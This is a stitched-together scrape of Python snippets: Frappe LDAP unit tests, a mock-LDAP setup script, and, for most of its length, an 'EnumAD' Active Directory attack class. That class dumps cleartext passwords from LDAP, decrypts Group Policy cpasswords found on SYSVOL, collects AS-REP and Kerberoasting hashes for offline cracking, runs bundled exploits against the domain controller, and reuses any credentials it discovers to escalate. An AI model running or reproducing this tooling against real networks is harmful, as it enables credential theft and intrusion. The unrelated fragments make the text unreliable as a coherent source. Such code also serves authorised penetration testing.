		self.assertTrue(fetch_ldap_groups_function.called,
			'As part of authentication function fetch_ldap_groups_function needs to be called')

		invalid_users = [
			{'prefix_posix.user': '******'},
			{'posix.user_postfix': 'posix_user_password'},
			{'posix.user': '******'},
			{'posix.user': '******'},
			{'posix.user': ''},
			{'': 'posix_user_password'},
			{'': ''}
		] # All invalid users should return 'invalid username or password'

		for username, password in enumerate(invalid_users):

			with self.assertRaises(frappe.exceptions.ValidationError) as display_massage:

				self.test_class.authenticate(username, password)

			self.assertTrue(str(display_massage.exception).lower() == 'invalid username or password',
				'invalid credentials passed authentication [user: {0}, password: {1}]'.format(username, password))


	@mock_ldap_connection
	def test_complex_ldap_search_filter(self):

		ldap_search_filters = self.TEST_VALUES_LDAP_COMPLEX_SEARCH_STRING

		for search_filter in ldap_search_filters:

			self.test_class.ldap_search_string = search_filter

			if 'ACCESS:test3' in search_filter: # posix.user does not have str in ldap.description auth should fail

				with self.assertRaises(frappe.exceptions.ValidationError) as display_massage:

					self.test_class.authenticate('posix.user', 'posix_user_password')

				self.assertTrue(str(display_massage.exception).lower() == 'invalid username or password')

			else:
				self.assertTrue(self.test_class.authenticate('posix.user', 'posix_user_password'))


	def test_reset_password(self):

		self.test_class = LDAPSettings(self.doc)

		# Create a clean doc
		localdoc = self.doc.copy()

		localdoc['enabled'] = False
		frappe.get_doc(localdoc).save()

		with mock.patch('frappe.integrations.doctype.ldap_settings.ldap_settings.LDAPSettings.connect_to_ldap') as connect_to_ldap:
			connect_to_ldap.return_value = self.connection

			with self.assertRaises(frappe.exceptions.ValidationError) as validation: # Fail if username string used
				self.test_class.reset_password('posix.user', 'posix_user_password')

			self.assertTrue(str(validation.exception) == 'No LDAP User found for email: posix.user')

			try:
				self.test_class.reset_password('*****@*****.**', 'posix_user_password') # Change Password

			except Exception: # An exception from the tested class is ok, as long as the connection to LDAP was made writeable
				pass

			connect_to_ldap.assert_called_with(self.base_dn, self.base_password, read_only=False)


	@mock_ldap_connection
	def test_convert_ldap_entry_to_dict(self):

		self.connection.search(
				search_base=self.ldap_user_path,
				search_filter=self.TEST_LDAP_SEARCH_STRING.format("posix.user"),
				attributes=self.test_class.get_ldap_attributes())

		test_ldap_entry = self.connection.entries[0]

		method_return = self.test_class.convert_ldap_entry_to_dict(test_ldap_entry)

		self.assertTrue(type(method_return) is dict) # must be dict
		self.assertTrue(len(method_return) == 6) # there are 6 fields in mock_ldap for use
예제 #50
0
        }
        with open(ENTRIES_OUTPUT, "w") as f:
            json.dump(filtered_entries, f, indent=2)
    else:
        raise RuntimeError("ldap search failed!")

        # Close the connection to the real server
    connection.unbind()

    # Create a fake server from the info and schema json files
    fake_server = Server.from_definition("csua_mock", INFO_OUTPUT,
                                         SCHEMA_OUTPUT)

    # Create a MockSyncStrategy connection to the fake server
    fake_connection = Connection(fake_server, client_strategy=MOCK_SYNC)

    # Populate the DIT of the fake server
    fake_connection.strategy.entries_from_json(ENTRIES_OUTPUT)

    # Add a fake user for Simple binding
    fake_connection.strategy.add_entry(
        "cn=django_test_user,ou=People,dc=csua,dc=berkeley,dc=edu",
        {
            "uid": "django_test_user",
            "userPassword": "******"
        },
    )

    # Bind to the fake server
    fake_connection.bind()
class EnumAD():

    def __init__(self, domainController, ldaps, output, enumsmb, bhout, kpre, spnEnum, searchSysvol, dryrun, domuser=None):
        self.server = domainController
        self.domuser = domuser
        self.ldaps = ldaps
        self.output = output
        self.bhout = bhout
        self.kpre = kpre
        self.spnEnum = spnEnum
        self.enumsmb = enumsmb
        self.searchSysvol = searchSysvol

        self.ou_structure = domainController.split('.')
        self.dc_string=''
        for element in self.ou_structure:
            self.dc_string += 'dc={},'.format(element)
        
        # LDAP properties
        # At the moment we just want everything
        self.ldapProps = ["*"]


        # Setting lists containing elements we want from the domain controller
        self.computers = []
        self.people = []
        self.groups = []
        self.spn = []
        self.acl = []
        self.gpo = []
        self.domains = []
        self.ous = []
        self.deletedUsers = []
        self.passwd = False

        # TODO: Figure a good way to go through the code dryrun
        if dryrun:
            print(self.server, self.domuser, self.ldaps, self.output, self.bhout, self.kpre, self.spnEnum, self.enumsmb, self.searchSysvol, self.ou_structure, self.dc_string)
            return

        if domuser is not False:
            self.runWithCreds()
            self.enumDeleted()
        else:
            self.runWithoutCreds()
            self.enumDeleted()            

        self.testExploits()

        if not self.CREDS:
            print('[ ' + colored('WARN', 'yellow') +' ] Didn\'t find useable info as anonymous user, please gather credentials and run again')
 

    def runWithCreds(self):
        self.CREDS = True
        if not self.passwd:
            self.passwd = str(getpass())
        self.bind()
        self.search()


        if self.output:
            self.write_file()
       
        self.checkForPW()
        self.checkOS()
        if self.searchSysvol:
            self.checkSYSVOL()

        if self.bhout:
            self.outputToBloodhoundJson()
    
        if self.kpre:
            self.enumKerbPre()
    
        if self.spnEnum:
            self.enumSPNUsers()
        
        self.conn.unbind()
        
        if self.enumsmb:
            # Setting variables for further testing and analysis
            self.smbShareCandidates = []
            self.smbBrowseable = {}
            self.sortComputers()
            self.enumSMB()

        # Lets clear variable now
        self.passwd = None


    def runWithoutCreds(self):
        self.CREDS = False
        print('[ ' + colored('INFO', 'green') + ' ] Attempting to get objects without credentials')           
        self.passwd = ''
        self.domuser = ''
        print('')

        self.bind()        
        self.search()

        if self.output:
            self.write_file()
       
        self.checkForPW()
        self.checkOS()

        self.enumForCreds(self.people)
        
        return

    
    @contextlib.contextmanager
    def suppressOutput(self):
        with open(os.devnull, 'w') as devnull:
            with contextlib.redirect_stderr(devnull) as err, contextlib.redirect_stdout(devnull) as out:
                yield (err, out)


    def enumDeleted(self):
        if len(self.deletedUsers) > 0:
            print('[ ' + colored('INFO', 'green') +' ] Searching for juicy info in deleted users')
            self.enumForCreds(self.deletedUsers)


    def testExploits(self):
        from .exploits import exploits
        print('[ ' + colored('OK', 'green') +' ] Attempting to run imbedded exploits...')
        exp = exploits.Exploits(self.server, self.computers[0]["name"])
        
        if len(exp.vulnerable) > 0:
            cves = ""
            for exploit in exp.vulnerable:
                    cves += f"{exploit}, "
            print('[ ' + colored('WARN', 'yellow') + f' ] DC may be vulnerable to: [ ' + colored(cves[:-2], 'green') + ' ]')
        else:
            print('[ ' + colored('OK', 'green') + ' ] DC not vulnerable to included exploits')


    def bind(self): 
        try:
            if self.ldaps:
                self.dc_conn = Server(self.server, port=636, use_ssl=True, get_info='ALL')
                self.conn = Connection(self.dc_conn, user=self.domuser, password=self.passwd)
                self.conn.bind()
                self.conn.start_tls()
                # Validate the login (bind) request
                if int(self.conn.result['result']) != 0:
                    print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAPS server: {0}'.format(self.conn.result['description']))
                    sys.exit(1)
                else:
                    print('\033[1A\r[ ' + colored('OK', 'green') +' ] Bound to LDAPS server: {0}'.format(self.server))
            else:
                self.dc_conn = Server(self.server, get_info=ALL)
                self.conn = Connection(self.dc_conn, user=self.domuser, password=self.passwd)
                self.conn.bind()
                # Validate the login (bind) request
                if int(self.conn.result['result']) != 0:
                    print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAP server: {0}'.format(self.conn.result['description']))
                    sys.exit(1)
                else:
                    print('\033[1A\r[ ' + colored('OK', 'green') +' ] Bound to LDAP server: {0}'.format(self.server))
        # TODO: Catch individual exceptions instead
        except Exception:
            if self.ldaps:
                print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAPS server: {0}'.format(self.server))
            else:
                print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAP server: {0}'.format(self.server))
            sys.exit(1)


    def search(self):
        # Get computer objects
        self.conn.search(self.dc_string[:-1], '(&(sAMAccountType=805306369)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))', attributes=self.ldapProps, search_scope=SUBTREE)
        for entry in self.conn.entries:
            self.computers.append(entry)
        print('[ ' + colored('OK', 'green') +' ] Got all Computer objects')

        # Get person objects
        self.conn.search(self.dc_string[:-1], '(objectCategory=person)', attributes=self.ldapProps, search_scope=SUBTREE)
        for entry in self.conn.entries:
            self.people.append(entry)
        print('[ ' + colored('OK', 'green') +' ] Got all Person objects')
        
        # Get group objects
        self.conn.search(self.dc_string[:-1], '(|(samaccounttype=268435456)(samaccounttype=268435457)(samaccounttype=536870912)(samaccounttype=536870913)(primarygroupid=*))', attributes=self.ldapProps, search_scope=SUBTREE)
        for entry in self.conn.entries:
            self.groups.append(entry)
        print('[ ' + colored('OK', 'green') +' ] Got all Group objects')

        # Get SPN objects
        self.conn.search(self.dc_string[:-1], '(&(samaccounttype=805306368)(serviceprincipalname=*))', attributes=self.ldapProps, search_scope=SUBTREE)
        for entry in self.conn.entries:
            self.spn.append(entry)
        print('[ ' + colored('OK', 'green') +' ] Got all SPN objects')

        # Get ACL objects
        self.conn.search(self.dc_string[:-1], '(|(samAccountType=805306368)(samAccountType=805306369)(samAccountType=268435456)(samAccountType=268435457)(samAccountType=536870912)(samAccountType=536870913)(objectClass=domain)(&(objectcategory=groupPolicyContainer)(flags=*))(objectcategory=organizationalUnit))', attributes=self.ldapProps, search_scope=SUBTREE)
        for entry in self.conn.entries:
            self.acl.append(entry)
        print('[ ' + colored('OK', 'green') +' ] Got all ACL objects')

        # Get GPO objects
        self.conn.search(self.dc_string[:-1], '(|(&(&(objectcategory=groupPolicyContainer)(flags=*))(name=*)(gpcfilesyspath=*))(objectcategory=organizationalUnit)(objectClass=domain))', attributes=self.ldapProps, search_scope=SUBTREE)
        for entry in self.conn.entries:
            self.gpo.append(entry)
        print('[ ' + colored('OK', 'green') +' ] Got all GPO objects')

        # Get Domain
        self.conn.search(self.dc_string[:-1], '(objectclass=domain)', attributes=self.ldapProps, search_scope=SUBTREE)
        for entry in self.conn.entries:
            self.domains.append(entry)
        print('[ ' + colored('OK', 'green') +' ] Got all Domains')

        # Get OUs
        self.conn.search(self.dc_string[:-1], '(objectclass=organizationalUnit)', attributes=self.ldapProps, search_scope=SUBTREE)
        for entry in self.conn.entries:
            self.ous.append(entry)
        print('[ ' + colored('OK', 'green') +' ] Got all OUs')

        # Get deleted users
        self.conn.search(self.dc_string[:-1], '(objectclass=user)', attributes=self.ldapProps, search_scope=SUBTREE, controls=[('1.2.840.113556.1.4.417', True, None)])
        for entry in self.conn.entries:
            self.deletedUsers.append(entry)
        print('[ ' + colored('OK', 'green') +' ] Got all deleted users')

        

    '''
        Since it sometimes is real that the property 'userPassword:'******'''
    def checkForPW(self):
        passwords = {}
        idx = 0
        for _ in self.people:
            user = json.loads(self.people[idx].entry_to_json())
            idx += 1    
            if user['attributes'].get('userPassword') is not None:
                passwords[user['attributes']['name'][0]] = user['attributes'].get('userPassword')
        if len(passwords.keys()) > 0:
            with open('{0}-clearpw'.format(self.server), 'w') as f:
                json.dump(passwords, f, sort_keys=False) 

        if len(passwords.keys()) == 1:
            print('[ ' + colored('WARN', 'yellow') +' ] Found {0} clear text password'.format(len(passwords.keys())))
        elif len(passwords.keys()) == 0:
            print('[ ' + colored('OK', 'green') +' ] Found {0} clear text password'.format(len(passwords.keys())))
        else:
            print('[ ' + colored('OK', 'green') +' ] Found {0} clear text passwords'.format(len(passwords.keys())))


    '''
        While it is not unusual to find EOL servers hidden or forgotten these 
        often makes easier targets for lateral movemen, and because of that 
        we'll dump the lowest registered OS and the respective hosts for easier 
        enumeration afterwards
    '''
    def checkOS(self):

        os_json = {
                # Should perhaps include older version
                "Windows XP": [],
                "Windows Server 2008": [],
                "Windows 7": [],
                "Windows Server 2012": [],
                "Windows 10": [],
                "Windows Server 2016": [],
                "Windows Server 2019": []
        }
        idx = 0
        for _ in self.computers:
            computer = json.loads(self.computers[idx].entry_to_json())
            idx += 1    

            for os_version in os_json.keys():
                try:
                    if os_version in computer['attributes'].get('operatingSystem'):
                        os_json[os_version].append(computer['attributes']['dNSHostName'])
                except TypeError:
                    # computer['attributes'].get('operatingSystem') is of NoneType, just continue
                    continue

        for key, value in os_json.items():
            if len(value) == 0:
                continue
            with open('{0}-oldest-OS'.format(self.server), 'w') as f:
                for item in value:
                    f.write('{0}: {1}\n'.format(key, item))
                break

        print('[ ' + colored('OK', 'green') + ' ] Wrote hosts with oldest OS to {0}-oldest-OS'.format(self.server))
    

    def checkSYSVOL(self):
        print('[ .. ] Searching SYSVOL for cpasswords\r')
        cpasswords = {}
        try:
            smbconn = smbconnection.SMBConnection('\\\\{0}\\'.format(self.server), self.server, timeout=5)
            smbconn.login(self.domuser, self.passwd)
            dirs = smbconn.listShares()
            for share in dirs:
                if str(share['shi1_netname']).rstrip('\0').lower() == 'sysvol':
                    path = smbconn.listPath(str(share['shi1_netname']).rstrip('\0'), '*')
                    paths = [e.get_shortname() for e in path if len(e.get_shortname()) > 2]
                    for dirname in paths:
                        try:
                            # Dont want . or ..
                            subPath = smbconn.listPath(str(share['shi1_netname']).rstrip('\0'), str(dirname) + '\\*')
                            for sub in subPath:
                                if len(sub.get_shortname()) > 2:
                                    paths.append(dirname + '\\' + sub.get_shortname())
                        except (SessionError, UnicodeEncodeError, NetBIOSError) as e:
                            continue
                
                    # Compile regexes for username and passwords
                    cpassRE = re.compile(r'cpassword=\"([a-zA-Z0-9/]+)\"')
                    unameRE = re.compile(r'userName|runAs=\"([ a-zA-Z0-9/\(\)-]+)\"')

                    # Prepare the ciphers based on MSDN article with key and IV
                    cipher = AES.new(bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b'), AES.MODE_CBC, bytes.fromhex('00' * 16))
                
                    # Since the first entry is the DC we dont want that
                    for item in paths[1:]:
                        if '.xml' in item.split('\\')[-1]:
                            with open('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1]), 'wb') as f:
                                smbconn.getFile(str(share['shi1_netname']).rstrip('\0'), item, f.write)             
                            with open('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1]), 'r') as f:
                                try:
                                    fileContent = f.read()
                                    passwdMatch = cpassRE.findall(str(fileContent))
                                    for passwd in passwdMatch:
                                        unameMatch = unameRE.findall(str(fileContent))
                                        for usr in unameMatch:
                                            padding = '=' * (4 - len(passwd) % 4) 
                                            # For some reason, trailing nul bytes were on each character, so we remove any if they are there
                                            cpasswords[usr] = cipher.decrypt(base64.b64decode(bytes(passwd + padding, 'utf-8'))).strip().decode('utf-8').replace('\x00', '')
                                except (UnicodeDecodeError, AttributeError) as e:
                                    # Remove the files we had to write during the search
                                    os.unlink('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1]))
                                    continue

                            # Remove the files we had to write during the search
                            os.unlink('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1]))

            if len(cpasswords.keys()) > 0:
                with open('{0}-cpasswords.json'.format(self.server), 'w') as f:
                    json.dump(cpasswords, f)

            if len(cpasswords.keys()) == 1:
                print('\033[1A\r[ ' + colored('OK', 'green') +' ] Found {0} cpassword in a GPO on SYSVOL share'.format(len(cpasswords.keys())))
            else:
                print('\033[1A\r[ ' + colored('OK', 'green') +' ] Found {0} cpasswords in GPOs on SYSVOL share'.format(len(cpasswords.keys())))


        except (SessionError, UnicodeEncodeError, NetBIOSError):
            print('[ ' + colored('ERROR', 'red') + ' ] Some error occoured while searching SYSVOL')
        else:
            smbconn.close()


    def splitJsonArr(self, arr):
        if isinstance(arr, list):
            if len(arr) == 1:
                return arr[0]
        return arr


    def outputToBloodhoundJson(self):
        print('[ ' + colored('OK', 'green') +' ] Generating BloodHound output - this may take time...')
        try:
            with self.suppressOutput():
                opts = argparse.Namespace(dns_tcp=False, global_catalog=self.server)
                auth = ADAuthentication(username=self.domuser, password=self.passwd, domain=self.server)
                try:
                    ad = AD(auth=auth, domain=self.server, nameserver=None, dns_tcp=False)
                    ad.dns_resolve(kerberos=False, domain=self.server, options=opts)
                except (NXDOMAIN) as e:
                    # So we didnt succeed with DNS lookup. Most likely an internal, so lets try to point to the DC
                    print('[ ' + colored('WARN', 'yellow') +' ] DNS lookup of Domain Controller failed - attempting to set the DC as Nameserver')
                try:
                    ns = socket.gethostbyname(self.server)
                    opts = argparse.Namespace(dns_tcp=False, global_catalog=self.server, nameserver=ns)
                    ad = AD(auth=auth, domain=self.server, nameserver=ns, dns_tcp=False)
                    ad.dns_resolve(kerberos=False, domain=self.server, options=opts)
                except (NXDOMAIN) as e:
                    # I'm all out of luck
                    print('[ ' + colored('ERROR', 'red') +' ] DNS lookup of Domain Controller failed with DC as nameserver')
                    exit(1)
            with self.suppressOutput():
                bloodhound = BloodHound(ad)
                bloodhound.connect()
                collection = resolve_collection_methods('Session,Trusts,ACL,DCOM,RDP,PSRemote')
                bloodhound.run(collect=collection, num_workers=40, disable_pooling=False)
            print('[ ' + colored('OK', 'green') +' ] BloodHound output generated')
        except Exception as e:
            print('[ ' + colored('ERROR', 'red') + f' ] Generating BloodHound output failed: {e}')


    def sortComputers(self):
        for computer in self.computers:
            try:
                self.smbShareCandidates.append(computer['dNSHostName'])
            except LDAPKeyError:
                # No dnsname registered
                continue
        if len(self.smbShareCandidates) == 1:
            print('[ ' + colored('OK', 'green') +' ] Found {0} dnsname'.format(len(self.smbShareCandidates)))
        else:
            print('[ ' + colored('OK', 'green') +' ] Found {0} dnsnames'.format(len(self.smbShareCandidates)))


    def enumSMB(self):
        progBar = ProgressBar(widgets=['SMBConnection test: ', Percentage(), Bar(), ETA()], maxval=len(self.smbShareCandidates)).start()
        prog = 0
        try:
            for dnsname in self.smbShareCandidates:
                try:
                    # Changing default timeout as shares should respond withing 5 seconds if there is a share
                    # and ACLs make it available to self.user with self.passwd
                    smbconn = smbconnection.SMBConnection('\\\\' + str(dnsname), str(dnsname), timeout=5)
                    smbconn.login(self.domuser, self.passwd)
                    dirs = smbconn.listShares()
                    self.smbBrowseable[str(dnsname)] = {}
                    for share in dirs:
                        self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = ''
                        try:
                            _ = smbconn.listPath(str(share['shi1_netname']).rstrip('\0'), '*')
                            self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = True
                        except (SessionError, UnicodeEncodeError, NetBIOSError):
                            # Didnt have permission, all good
                            # Im second guessing the below adding to the JSON file as we're only interested in the listable directories really
                            #self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = False
                            continue
                    smbconn.logoff()
                    progBar.update(prog + 1)
                    prog += 1
                except (socket.error, NetBIOSTimeout, SessionError, NetBIOSError):
                    # TODO: Examine why we sometimes get:
                    # impacket.smbconnection.SessionError: SMB SessionError: STATUS_PIPE_NOT_AVAILABLE
                    # on healthy shares. It seems to be reported with CIF shares 
                    progBar.update(prog + 1)
                    prog += 1
                    continue
        except ValueError:
            # We reached end of progressbar, continue since we finish below
            pass
        progBar.finish()
        print('')

        availDirs = []
        for key, value in self.smbBrowseable.items():
            for _, v in value.items():
                if v:
                    availDirs.append(key)

        if len(self.smbShareCandidates) == 1:
            print('[ ' + colored('OK', 'green') + ' ] Searched {0} share and {1} with {2} subdirectories/files is browseable by {3}'.format(len(self.smbShareCandidates), len(self.smbBrowseable.keys()), len(availDirs), self.domuser))
        else:
            print('[ ' + colored('OK', 'green') + ' ] Searched {0} shares and {1} with {2} subdirectories/file sare browseable by {3}'.format(len(self.smbShareCandidates), len(self.smbBrowseable.keys()), len(availDirs), self.domuser))
        if len(self.smbBrowseable.keys()) > 0:
            with open('{0}-open-smb.json'.format(self.server), 'w') as f:
                json.dump(self.smbBrowseable, f, indent=4, sort_keys=False)
            print('[ ' + colored('OK', 'green') + ' ] Wrote browseable shares to {0}-open-smb.json'.format(self.server))



    def write_file(self):
        with open(str(self.output) + '-computers', 'w') as f:
            for item in self.computers:
                f.write(str(item))
                f.write("\n")
        with open(str(self.output) + '-people', 'w') as f:
            for item in self.people:
                f.write(str(item))
                f.write("\n")
        with open(str(self.output) + '-groups', 'w') as f:
            for item in self.groups:
                f.write(str(item))
                f.write("\n")
        with open(str(self.output) + '-spn', 'w') as f:
            for item in self.spn:
                f.write(str(item))
                f.write("\n")
        with open(str(self.output) + '-acl', 'w') as f:
            for item in self.acl:
                f.write(str(item))
                f.write("\n")
        with open(str(self.output) + '-gpo', 'w') as f:
            for item in self.gpo:
                f.write(str(item))
                f.write("\n")
        with open(str(self.output) + '-domains', 'w') as f:
            for item in self.domains:
                f.write(str(item))
                f.write("\n")
        with open(str(self.output) + '-ous', 'w') as f:
            for item in self.ous:
                f.write(str(item))
                f.write("\n")

        print('[ ' + colored('OK', 'green') +' ] Wrote all files to {0}-obj_name'.format(self.output))


    def enumKerbPre(self):
        # Build user array
        users = []
        self.conn.search(self.dc_string[:-1], '(&(samaccounttype=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))', attributes=self.ldapProps, search_scope=SUBTREE)
        for entry in self.conn.entries:
            users.append(str(entry['sAMAccountName']) + '@{0}'.format(self.server))
        if len(users) == 0:
            print('[ ' + colored('OK', 'green') +' ] Found {0} accounts that does not require Kerberos preauthentication'.format(len(users)))
        elif len(users) == 1:
            print('[ ' + colored('OK', 'yellow') +' ] Found {0} account that does not require Kerberos preauthentication'.format(len(users)))
        else:
            print('[ ' + colored('OK', 'yellow') +' ] Found {0} accounts that does not require Kerberos preauthentication'.format(len(users)))
    
        hashes = []
        # Build request for Tickets
        for usr in users:
            clientName = Principal(usr, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            asReq = AS_REQ()
            domain = str(self.server).upper()
            serverName = Principal('krbtgt/{0}'.format(domain), type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            pacReq = KERB_PA_PAC_REQUEST()
            pacReq['include-pac'] = True
            encodedPacReq = encoder.encode(pacReq)
            asReq['pvno'] = 5
            asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
            asReq['padata'] = noValue
            asReq['padata'][0] = noValue
            asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
            asReq['padata'][0]['padata-value'] = encodedPacReq

            requestBody = seq_set(asReq, 'req-body')

            options = list()
            options.append(constants.KDCOptions.forwardable.value)
            options.append(constants.KDCOptions.renewable.value)
            options.append(constants.KDCOptions.proxiable.value)
            requestBody['kdc-options'] = constants.encodeFlags(options)

            seq_set(requestBody, 'sname', serverName.components_to_asn1)
            seq_set(requestBody, 'cname', clientName.components_to_asn1)

            requestBody['realm'] = domain

            now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
            requestBody['till'] = KerberosTime.to_asn1(now)
            requestBody['rtime'] = KerberosTime.to_asn1(now)
            requestBody['nonce'] = random.getrandbits(31)

            supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)

            seq_set_iter(requestBody, 'etype', supportedCiphers)

            msg = encoder.encode(asReq)

            try:
                response = sendReceive(msg, domain, self.server)
            except KerberosError as e:
                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
                    seq_set_iter(requestBody, 'etype', supportedCiphers)
                    msg = encoder.encode(asReq)
                    response = sendReceive(msg, domain, self.server)
                else:
                    print(e)
                    continue

            asRep = decoder.decode(response, asn1Spec=AS_REP())[0]

            hashes.append('$krb5asrep${0}@{1}:{2}${3}'.format(usr, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()))

        if len(hashes) > 0:
            with open('{0}-jtr-hashes'.format(self.server), 'w') as f:
                for h in hashes:
                    f.write(str(h) + '\n')

            print('[ ' + colored('OK', 'yellow') +' ] Wrote all hashes to {0}-jtr-hashes'.format(self.server))
        else:
            print('[ ' + colored('OK', 'green') +' ] Got 0 hashes')


    def enumSPNUsers(self):
        users_spn = {
        }
        user_tickets = {
        }

        userDomain = self.domuser.split('@')[1]

        idx = 0
        for entry in self.spn:
            spns = json.loads(self.spn[idx].entry_to_json())
            users_spn[self.splitJsonArr(spns['attributes'].get('name'))] = self.splitJsonArr(spns['attributes'].get('servicePrincipalName')) 
            idx += 1    

        # Get TGT for the supplied user
        client = Principal(self.domuser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        try:
            # We need to take the domain from the user@domain since it *could* be a cross-domain user
            tgt, cipher, _, newSession = getKerberosTGT(client, '', userDomain, compute_lmhash(self.passwd), compute_nthash(self.passwd), None, kdcHost=None)

            TGT = {}
            TGT['KDC_REP'] = tgt
            TGT['cipher'] = cipher
            TGT['sessionKey'] = newSession
    
            for user, spn in users_spn.items():
                if isinstance(spn, list):
                    # We only really need one to get a ticket
                    spn = spn[0]
                else:
                    try:
                        # Get the TGS
                        serverName = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, _, newSession = getKerberosTGS(serverName, userDomain, None, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'])
                        # Decode the TGS
                        decoded = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
                        # Get different encryption types
                        if decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
                            entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format(constants.EncryptionTypes.rc4_hmac.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
                            user_tickets[spn] = entry
                        elif decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
                            entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][:-12].asOctets()).decode())
                            user_tickets[spn] = entry
                        elif decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
                            entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][:-12].asOctets()).decode())
                            user_tickets[spn] = entry
                        elif decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
                            entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format(constants.EncryptionTypes.des_cbc_md5.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
                            user_tickets[spn] = entry

                    except KerberosError:
                        # For now continue
                        # TODO: Maybe look deeper into issue here
                        continue

            if len(user_tickets.keys()) > 0:
                with open('{0}-spn-tickets'.format(self.server), 'w') as f:
                    for key, value in user_tickets.items():
                        f.write('{0}:{1}\n'.format(key, value))
                if len(user_tickets.keys()) == 1:
                    print('[ ' + colored('OK', 'yellow') +' ] Got and wrote {0} ticket for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets'.format(len(user_tickets.keys()), self.server))
                else:
                    print('[ ' + colored('OK', 'yellow') +' ] Got and wrote {0} tickets for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets'.format(len(user_tickets.keys()), self.server))
            else:
                print('[ ' + colored('OK', 'green') +' ] Got {0} tickets for Kerberoasting'.format(len(user_tickets.keys())))


        except KerberosError as err:
            print('[ ' + colored('ERROR', 'red') +' ] Kerberoasting failed with error: {0}'.format(err.getErrorString()[1]))


    def enumForCreds(self, ldapdump):
        searchTerms = [
                'legacy', 'pass', 'password', 'pwd', 'passcode'
        ]
        excludeTerms = [
                'badPasswordTime', 'badPwdCount', 'pwdLastSet', 'legacyExchangeDN'
        ]
        possiblePass = {}
        idx = 0
        for _ in ldapdump:
            user = json.loads(ldapdump[idx].entry_to_json())
            for prop, value in user['attributes'].items():
                if any(term in prop.lower() for term in searchTerms) and not any(ex in prop for ex in excludeTerms):
                    try:
                        possiblePass[user['attributes']['userPrincipalName'][0]] = value[0]
                    except KeyError:
                        # Could be a service user instead
                        try:
                            possiblePass[user['attributes']['servicePrincipalName'][0]] = value[0]
                        except KeyError:
                            # Don't know which type
                            continue

            idx += 1
        if len(possiblePass) > 0:
            print('[ ' + colored('INFO', 'green') +' ] Found possible password in properties')
            print('[ ' + colored('INFO', 'green') +' ] Attempting to determine if it is a password')

            for user, password in possiblePass.items():
                try:
                    usr, passwd = self.entroPass(user, password)
                except TypeError:
                    # None returned, just continue
                    continue
            if not self.CREDS:
                self.domuser = usr
                self.passwd = passwd
                self.runWithCreds()
                return


    def entroPass(self, user, password):
        if not password:
            return None
        # First check if it is a clear text
        dc_test_conn = Server(self.server, get_info=ALL)
        test_conn = Connection(dc_test_conn, user=user, password=password)
        test_conn.bind()
        # Validate the login (bind) request
        if int(test_conn.result['result']) != 0:
            if self.CREDS:
                print('[ ' + colored('INFO', 'yellow') +' ] User: "******" with: "{1}" as possible clear text password'.format(user, password))
            else:
                print('[ ' + colored('INFO', 'green') +' ] User: "******" with: "{1}" was not cleartext'.format(user, password))
        else:
            if self.CREDS:
                print('[ ' + colored('INFO', 'yellow') +' ] User: "******" had cleartext password of: "{1}" in a property'.format(user, password))
            else:
                print('[ ' + colored('OK', 'yellow') +' ] User: "******" had cleartext password of: "{1}" in a property - continuing with these creds'.format(user, password))
